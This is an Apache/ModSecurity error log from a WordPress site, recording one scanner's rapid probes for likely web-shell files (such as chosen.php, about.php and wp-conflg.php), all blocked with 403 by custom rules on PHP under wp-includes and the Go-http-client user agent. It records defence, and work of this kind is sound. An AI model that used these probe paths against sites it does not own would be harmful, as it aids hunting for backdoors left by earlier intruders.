[Thu Nov 20 07:13:11.673138 2025] [:error] [pid 55343:tid 55399] [client 185.223.152.71:42697] [client 185.223.152.71] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/twentytwentyone/assets/sass/05-blocks/latest-comments/poisontalk.php"] [unique_id "aR5PB1WlO3EnyVMV7w4N2AAAAIA"]
[Thu Nov 20 07:13:12.344247 2025] [:error] [pid 55430:tid 55435] [client 185.223.152.67:60241] [client 185.223.152.67] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/twentytwentythree/assets/about.php"] [unique_id "aR5PCPPZXaIMEU4pE7tTRgAAAMI"]
[Thu Nov 20 07:13:13.012808 2025] [:error] [pid 55342:tid 55377] [client 185.223.152.67:41845] [client 185.223.152.67] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/twentytwentythree/index.php"] [unique_id "aR5PCbg6x32Tvk7fIG9O9QAAAEU"]
[Thu Nov 20 07:13:13.682239 2025] [:error] [pid 55342:tid 55390] [client 185.223.152.70:60885] [client 185.223.152.70] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/twentytwentytwo/assets/index.php"] [unique_id "aR5PCbg6x32Tvk7fIG9O-AAAAFI"]
[Thu Nov 20 07:13:14.350537 2025] [:error] [pid 34444:tid 34446] [client 185.223.152.74:47697] [client 185.223.152.74] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/upgrade/acxx.php"] [unique_id "aR5PClNEol4jlmmA_GOpcQAAAUA"]
[Thu Nov 20 07:13:15.022936 2025] [:error] [pid 34444:tid 34460] [client 185.223.152.82:31899] [client 185.223.152.82] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/upgrade/mlex.php"] [unique_id "aR5PC1NEol4jlmmA_GOpcgAAAU4"]
[Thu Nov 20 07:13:15.691391 2025] [:error] [pid 55430:tid 55448] [client 185.223.152.65:28599] [client 185.223.152.65] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/upgrade/plex1.php"] [unique_id "aR5PC_PZXaIMEU4pE7tTSQAAAM8"]
[Thu Nov 20 07:13:16.359978 2025] [:error] [pid 55342:tid 55386] [client 185.223.152.74:28893] [client 185.223.152.74] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-contentar458/themes/ingenioso/front-page/index.php"] [unique_id "aR5PDLg6x32Tvk7fIG9O-gAAAE4"]
[Thu Nov 20 07:13:17.028035 2025] [:error] [pid 55342:tid 55393] [client 185.223.152.79:58453] [client 185.223.152.79] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-cron-backup.php"] [unique_id "aR5PDbg6x32Tvk7fIG9O-wAAAFU"]
[Thu Nov 20 07:13:17.696653 2025] [:error] [pid 55342:tid 55374] [client 185.223.152.78:40057] [client 185.223.152.78] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-erros.php"] [unique_id "aR5PDbg6x32Tvk7fIG9O_AAAAEI"]
[Thu Nov 20 07:13:18.365315 2025] [:error] [pid 34444:tid 34454] [client 185.223.152.80:45623] [client 185.223.152.80] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/chosen.php"] [unique_id "aR5PDlNEol4jlmmA_GOpdQAAAUg"]
[Thu Nov 20 07:13:19.038846 2025] [:error] [pid 34405:tid 34427] [client 185.223.152.80:41043] [client 185.223.152.80] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "aR5PDzFpvu8oRK7ATfuG_wAAARQ"]
[Thu Nov 20 07:13:19.714922 2025] [:error] [pid 55342:tid 55385] [client 185.223.152.79:42443] [client 185.223.152.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/src/Exception/about.php"] [unique_id "aR5PD7g6x32Tvk7fIG9O_gAAAE0"]
[Thu Nov 20 07:13:20.383646 2025] [:error] [pid 55343:tid 55400] [client 185.223.152.89:41249] [client 185.223.152.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/src/lock.php"] [unique_id "aR5PEFWlO3EnyVMV7w4N3QAAAIE"]
[Thu Nov 20 07:13:21.053693 2025] [:error] [pid 55343:tid 55417] [client 185.223.152.71:20881] [client 185.223.152.71] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/library/SimplePie/Net/index.php"] [unique_id "aR5PEVWlO3EnyVMV7w4N3wAAAJI"]
[Thu Nov 20 07:13:21.721914 2025] [:error] [pid 55342:tid 55381] [client 185.223.152.89:30639] [client 185.223.152.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/Diff/Renderer/index.php"] [unique_id "aR5PEbg6x32Tvk7fIG9PAQAAAEk"]
[Thu Nov 20 07:13:22.390747 2025] [:error] [pid 55342:tid 55391] [client 185.223.152.83:50327] [client 185.223.152.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aR5PErg6x32Tvk7fIG9PAgAAAFM"]
[Thu Nov 20 07:13:24.497966 2025] [:error] [pid 34444:tid 34468] [client 185.223.152.71:40949] [client 185.223.152.71] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/chosen.php"] [unique_id "aR5PFFNEol4jlmmA_GOpeQAAAVY"]
[Thu Nov 20 07:13:25.165045 2025] [:error] [pid 34405:tid 34428] [client 185.223.152.77:44481] [client 185.223.152.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/connects.php"] [unique_id "aR5PFTFpvu8oRK7ATfuHCQAAARU"]
[Thu Nov 20 07:13:25.832977 2025] [:error] [pid 34444:tid 34446] [client 185.223.152.67:43379] [client 185.223.152.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/v.php"] [unique_id "aR5PFVNEol4jlmmA_GOpegAAAUA"]
[Thu Nov 20 07:13:26.501942 2025] [:error] [pid 55342:tid 55386] [client 185.223.152.85:21933] [client 185.223.152.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/block-bindings/chosen.php"] [unique_id "aR5PFrg6x32Tvk7fIG9PBAAAAE4"]
[Thu Nov 20 07:13:27.171183 2025] [:error] [pid 34405:tid 34410] [client 185.223.152.68:31489] [client 185.223.152.68] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/code/"] [unique_id "aR5PFzFpvu8oRK7ATfuHDQAAAQM"]
[Thu Nov 20 07:13:27.839182 2025] [:error] [pid 34444:tid 34458] [client 185.223.152.85:37289] [client 185.223.152.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/column/index.php"] [unique_id "aR5PF1NEol4jlmmA_GOpfAAAAUw"]
[Thu Nov 20 07:13:28.529268 2025] [:error] [pid 55343:tid 55418] [client 185.223.152.71:54639] [client 185.223.152.71] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/comment-content/about.php"] [unique_id "aR5PGFWlO3EnyVMV7w4N4AAAAJM"]
[Thu Nov 20 07:13:29.198083 2025] [:error] [pid 55343:tid 55416] [client 185.223.152.73:36109] [client 185.223.152.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/details/wp-wlx.php"] [unique_id "aR5PGVWlO3EnyVMV7w4N4QAAAJE"]
[Thu Nov 20 07:13:29.864706 2025] [:error] [pid 55343:tid 55406] [client 185.223.152.90:52521] [client 185.223.152.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/file/index.php"] [unique_id "aR5PGVWlO3EnyVMV7w4N4gAAAIc"]
[Thu Nov 20 07:13:30.539590 2025] [:error] [pid 34405:tid 34417] [client 185.223.152.83:40635] [client 185.223.152.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/group/index.php"] [unique_id "aR5PGjFpvu8oRK7ATfuHDwAAAQo"]
[Thu Nov 20 07:13:31.213830 2025] [:error] [pid 55340:tid 55361] [client 185.223.152.91:29399] [client 185.223.152.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/latest-comments/template-loader.php"] [unique_id "aR5PG_OxD-NeMydTybDUlwAAABA"]
[Thu Nov 20 07:13:31.883320 2025] [:error] [pid 55430:tid 55455] [client 185.223.152.74:59535] [client 185.223.152.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/media-text-double.php"] [unique_id "aR5PG_PZXaIMEU4pE7tTUgAAANY"]
[Thu Nov 20 07:13:32.551604 2025] [:error] [pid 55430:tid 55447] [client 185.223.152.69:21899] [client 185.223.152.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/media-text/about.php"] [unique_id "aR5PHPPZXaIMEU4pE7tTVAAAAM4"]
[Thu Nov 20 07:13:33.221765 2025] [:error] [pid 34444:tid 34468] [client 185.223.152.73:25845] [client 185.223.152.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/missing/index.php"] [unique_id "aR5PHVNEol4jlmmA_GOphAAAAVY"]
[Thu Nov 20 07:13:33.891359 2025] [:error] [pid 55342:tid 55385] [client 185.223.152.79:57147] [client 185.223.152.79] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/page-list-item/"] [unique_id "aR5PHbg6x32Tvk7fIG9PIgAAAE0"]
[Thu Nov 20 07:13:34.562351 2025] [:error] [pid 55343:tid 55413] [client 185.223.152.75:46475] [client 185.223.152.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/post-comments-form/index.php"] [unique_id "aR5PHlWlO3EnyVMV7w4OAgAAAI4"]
[Thu Nov 20 07:13:35.235700 2025] [:error] [pid 55430:tid 55452] [client 185.223.152.79:56155] [client 185.223.152.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/post-excerpt/index.php"] [unique_id "aR5PH_PZXaIMEU4pE7tTfgAAANM"]
[Thu Nov 20 07:13:35.903445 2025] [:error] [pid 34444:tid 34461] [client 185.223.152.78:30387] [client 185.223.152.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/post-navigation-link/admin.php"] [unique_id "aR5PH1NEol4jlmmA_GOptgAAAU8"]
[Thu Nov 20 07:13:36.571969 2025] [:error] [pid 34444:tid 34467] [client 185.223.152.69:46843] [client 185.223.152.69] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/post-terms/"] [unique_id "aR5PIFNEol4jlmmA_GOptwAAAVU"]
[Thu Nov 20 07:13:37.241656 2025] [:error] [pid 55342:tid 55373] [client 185.223.152.91:59607] [client 185.223.152.91] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/pullquote/"] [unique_id "aR5PIbg6x32Tvk7fIG9PSgAAAEE"]
[Thu Nov 20 07:13:37.910081 2025] [:error] [pid 55342:tid 55385] [client 185.223.152.85:22789] [client 185.223.152.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/query-pagination-previous/about.php"] [unique_id "aR5PIbg6x32Tvk7fIG9PTAAAAE0"]
[Thu Nov 20 07:13:38.577423 2025] [:error] [pid 55340:tid 55352] [client 185.223.152.73:22177] [client 185.223.152.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/shortcode/index.php"] [unique_id "aR5PIvOxD-NeMydTybDUngAAAAc"]
[Thu Nov 20 07:13:39.248195 2025] [:error] [pid 34444:tid 34468] [client 185.223.152.70:46375] [client 185.223.152.70] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/site-logo/about.php"] [unique_id "aR5PI1NEol4jlmmA_GOpvwAAAVY"]
[Thu Nov 20 07:13:39.916142 2025] [:error] [pid 55430:tid 55438] [client 185.223.152.89:37253] [client 185.223.152.89] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/site-tagline/"] [unique_id "aR5PI_PZXaIMEU4pE7tTgwAAAMU"]
[Thu Nov 20 07:13:40.585218 2025] [:error] [pid 55343:tid 55423] [client 185.223.152.75:35525] [client 185.223.152.75] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/social-links/"] [unique_id "aR5PJFWlO3EnyVMV7w4OEQAAAJg"]
[Thu Nov 20 07:13:41.252727 2025] [:error] [pid 34444:tid 34461] [client 185.223.152.65:21157] [client 185.223.152.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/spacer/about.php"] [unique_id "aR5PJVNEol4jlmmA_GOpwgAAAU8"]
[Thu Nov 20 07:13:41.921301 2025] [:error] [pid 34444:tid 34465] [client 185.223.152.68:44025] [client 185.223.152.68] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/table/index.php"] [unique_id "aR5PJVNEol4jlmmA_GOpxQAAAVM"]
[Thu Nov 20 07:13:42.594374 2025] [:error] [pid 55340:tid 55354] [client 185.223.152.90:62231] [client 185.223.152.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/tag-cloud/about.php"] [unique_id "aR5PJvOxD-NeMydTybDUogAAAAk"]
[Thu Nov 20 07:13:43.262959 2025] [:error] [pid 34444:tid 34458] [client 185.223.152.91:58031] [client 185.223.152.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/verse/about.php"] [unique_id "aR5PJ1NEol4jlmmA_GOpyQAAAUw"]
[Thu Nov 20 07:13:43.933321 2025] [:error] [pid 55430:tid 55442] [client 185.223.152.68:59351] [client 185.223.152.68] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/video/hexa.php"] [unique_id "aR5PJ_PZXaIMEU4pE7tThwAAAMk"]
[Thu Nov 20 07:13:44.601032 2025] [:error] [pid 55342:tid 55390] [client 185.223.152.68:22079] [client 185.223.152.68] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/certificates/plugin.php"] [unique_id "aR5PKLg6x32Tvk7fIG9PWwAAAFI"]
[Thu Nov 20 07:13:45.268657 2025] [:error] [pid 34444:tid 34449] [client 185.223.152.71:30363] [client 185.223.152.71] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/class-wp-image-editor-gd-pic.php"] [unique_id "aR5PKVNEol4jlmmA_GOp0gAAAUM"]
[Thu Nov 20 07:13:45.936828 2025] [:error] [pid 55343:tid 55400] [client 185.223.152.71:24359] [client 185.223.152.71] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/autoload_classmap.php"] [unique_id "aR5PKVWlO3EnyVMV7w4OFAAAAIE"]
[Thu Nov 20 07:13:46.744623 2025] [:error] [pid 55430:tid 55447] [client 185.223.152.90:55503] [client 185.223.152.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/chosen.php"] [unique_id "aR5PKvPZXaIMEU4pE7tTiwAAAM4"]
[Thu Nov 20 07:13:47.414908 2025] [:error] [pid 34405:tid 34418] [client 185.223.152.81:28517] [client 185.223.152.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/dist/commands/about.php"] [unique_id "aR5PKzFpvu8oRK7ATfuHKAAAAQs"]
